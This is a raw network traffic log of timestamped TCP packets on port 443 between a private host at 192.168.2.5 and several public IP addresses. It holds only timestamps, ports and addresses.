Dec 11, 2024 19:22:16.382436991 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.382833958 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.382885933 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.382910013 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.383055925 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.431739092 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.811906099 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:16.812452078 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:16.812488079 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:16.813467979 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:16.813558102 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:16.813992023 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:16.814080000 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:16.814166069 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:16.814182043 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:16.828669071 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.828797102 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.828883886 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.828886986 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.828918934 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.829035044 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.829046011 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.829065084 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.829107046 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.829149961 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.836678028 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.836800098 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.836822033 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.845186949 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.845297098 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.845320940 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.868058920 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:16.899099112 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.904922962 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:16.907743931 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:16.907777071 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:16.909209967 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:16.909271955 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:16.909856081 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:16.909955025 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:16.910353899 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:16.910367966 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:16.948255062 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:16.962186098 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:16.991188049 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:16.991215944 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.023299932 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.023367882 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.023379087 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.031393051 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.031451941 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.031460047 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.038722992 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.038783073 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.038790941 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.046724081 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.046776056 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.046782017 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.062519073 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.062578917 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.062588930 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.072618961 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.072668076 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.072674990 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.078810930 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.078859091 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.078866959 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.086913109 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.086962938 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.086971045 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.094033003 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.094096899 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.094105005 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.100991011 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.101046085 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.101053953 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.108123064 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.108172894 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.108181000 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.114970922 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.115024090 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.115036011 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.115143061 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.115199089 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.115772963 CET	49721	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.115787983 CET	443	49721	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.262331009 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.262474060 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.262546062 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.262567043 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.262597084 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.262650967 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.262687922 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.270556927 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.270616055 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.270644903 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.279493093 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.279556990 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.279572010 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.314423084 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.314521074 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.314616919 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.314852953 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:17.314878941 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:17.328844070 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:17.328880072 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:17.328939915 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:17.329109907 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:17.329118967 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:17.333283901 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.333302021 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.338463068 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.381833076 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.381901979 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.381917000 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.386405945 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.427831888 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.453133106 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.456968069 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.457025051 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.457039118 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.459125996 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459168911 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459189892 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459209919 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.459239006 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459247112 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.459261894 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459281921 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459295988 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.459322929 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.459311008 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.459391117 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.466784000 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.466850996 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.466871023 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.474874973 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.474934101 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.474948883 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.482990980 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.483047962 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.483061075 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.491178036 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.491240025 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.491251945 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.499617100 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.499677896 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.499691010 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.507509947 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.507570028 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.507582903 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.515678883 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.515739918 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.515753031 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.523883104 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.523953915 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.523966074 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.536243916 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.536304951 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.536318064 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.542457104 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.542514086 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.542526007 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.549036026 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.549098969 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.549113035 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.549344063 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.549420118 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.549526930 CET	49722	443	192.168.2.5	104.17.25.14
Dec 11, 2024 19:22:17.549556017 CET	443	49722	104.17.25.14	192.168.2.5
Dec 11, 2024 19:22:17.573542118 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.573579073 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.573632002 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.573646069 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.573694944 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.573704958 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.573745966 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.614238024 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.614286900 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.614310026 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.614320040 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.614356041 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.614372969 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.738473892 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.738548994 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.738568068 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.738595009 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.738622904 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.738641024 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.766558886 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.766608000 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.766647100 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.766674995 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.766700983 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.766716957 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.778439999 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.778515100 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.778537035 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.778620958 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.778666973 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.778846979 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.778862953 CET	443	49723	151.101.194.137	192.168.2.5
Dec 11, 2024 19:22:17.778876066 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:17.778903961 CET	49723	443	192.168.2.5	151.101.194.137
Dec 11, 2024 19:22:18.536154985 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:18.536537886 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:18.536606073 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:18.538064003 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:18.538207054 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:18.538561106 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:18.538667917 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:18.538781881 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:18.538800955 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:18.544321060 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:18.544536114 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:18.544596910 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:18.546036959 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:18.546116114 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:18.546416044 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:18.546500921 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:18.546531916 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:18.588481903 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:18.588702917 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:18.588772058 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:18.635252953 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.003773928 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.003896952 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.003973961 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.003993034 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.004043102 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.004112959 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.004128933 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.012052059 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.012124062 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.012137890 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.015692949 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.015976906 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.016067028 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.016074896 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.016134024 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.016241074 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.016304016 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.016324043 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.016506910 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.020569086 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.020670891 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.020684958 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.023237944 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.028973103 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.029135942 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.029150009 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.031759024 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.031847954 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.031886101 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.067449093 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.067502022 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.067990065 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.068511963 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.068526030 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.076092958 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.076216936 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.076282978 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.126019955 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.131844044 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.136537075 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.177933931 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.177959919 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.177999020 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.178025007 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.199035883 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.199233055 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.199297905 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.208465099 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.208551884 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.208559036 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.208583117 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.208642960 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.211379051 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.211494923 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.211575031 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.211642027 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.213130951 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.216356993 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.219225883 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.224244118 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.224378109 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.224590063 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.224656105 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.224736929 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.227215052 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.227303982 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.227372885 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.227391005 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.231225014 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.232152939 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.235352039 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.235579967 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.235789061 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.238662004 CET	49727	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.238698006 CET	443	49727	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.239996910 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.240093946 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.240123034 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.247828007 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.247924089 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.247940063 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.256287098 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.256367922 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.256381989 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.263655901 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.267353058 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.267365932 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.276734114 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.276912928 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.276994944 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.277009010 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.277159929 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.283353090 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.283525944 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.283618927 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.283641100 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.283689976 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.285235882 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.312402010 CET	49728	443	192.168.2.5	104.18.94.41
Dec 11, 2024 19:22:19.312450886 CET	443	49728	104.18.94.41	192.168.2.5
Dec 11, 2024 19:22:19.319180012 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.319228888 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.319319010 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.321366072 CET	49732	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:19.321396112 CET	443	49732	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:19.879125118 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:19.879192114 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:19.879399061 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:20.024565935 CET	49712	443	192.168.2.5	142.250.181.68
Dec 11, 2024 19:22:20.024605989 CET	443	49712	142.250.181.68	192.168.2.5
Dec 11, 2024 19:22:20.285356045 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.286978960 CET	49731	443	192.168.2.5	104.18.95.41
Dec 11, 2024 19:22:20.287040949 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.287560940 CET	443	49731	104.18.95.41	192.168.2.5
Dec 11, 2024 19:22:20.291017056 CET	49731	443	192.168.2.5	104.18.95.41
